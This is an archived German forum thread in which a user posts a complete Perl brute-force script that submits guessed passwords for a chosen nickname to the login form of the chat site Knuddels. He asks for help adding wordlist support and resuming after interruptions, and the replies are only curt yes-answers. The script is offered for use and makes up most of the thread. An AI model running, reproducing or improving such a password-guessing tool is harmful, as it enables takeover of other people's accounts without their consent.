PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Perl Expl0it Frage ...



MasterPawel
06.08.2007, 21:31
Ehhhm, jeder kennt scheiß Knuddels, oda? ^^
Ich habe einen BruteForce für Knuddels bekommen. (Perl Datei)


#!/usr/bin/perl -w

use LWP::UserAgent;
use HTTP::Response;

print "
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>> www.cnuddelz-dlz.dl.am <<
>> Knuddels Bruteforcer - by Ic3Demon <<
>> Cracked by cnuddelz-dlz.dl.am <<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

* * * ! ! ! Cracked Version ! ! ! * * *
\n";

if($#ARGV < 2)
{
print "Usage: Bruter.pl [Nickname] z.B aaaa00 ZZZZZZZZZ99\n";
exit;
}

$us = $ARGV[0];
$w1 = $ARGV[1];
$w2 = $ARGV[2];

print "Der Knuddels Bruter brutet gerade die Passwörter!\n";
print "Besuch uns doch sollange auf www.cnuddelz-dlz.dl.am !\n";

for($w1..$w2)
{

my $ua = LWP::UserAgent->new;
my $request = new HTTP::Request('POST', 'http://forum.knuddels.de/start_page.php');
$request->content('Cat=&from=&Loginname='.$us.'&Loginpass='.$_.'&firstlogin=1&buttlogin=Login');
$request->content_type('application/x-www-form-urlencoded');
my $response = $ua->request($request);
my $body = $response->content;

if ($body!~/Falsches Passwort/) {
print "\nFertig! Das Password leutet; ".$_;
print "\n\n\n";
exit;
}
}

print "Entschuldigung! Kein treffendes Password gefunden!\n"";
print "Besuch uns doch trotzdem auf www.cnuddelz-dlz.dl.am !\n";

Nun wollte ich die Perl Profi's fragen, ob ich irgendwie eine Passwortlist auswählen kann & wenn die verbindung kurz ausgeht, an der angehaltenen stelle später weitermachen?!

Nemo.A
07.08.2007, 15:16
Ja kannst du.

MasterPawel
07.08.2007, 17:20
Ich meinte eher ob jemand diesen expl0it bearbeiten könnte ^^

Nemo.A
08.08.2007, 21:19
Ja könnte jemand machen.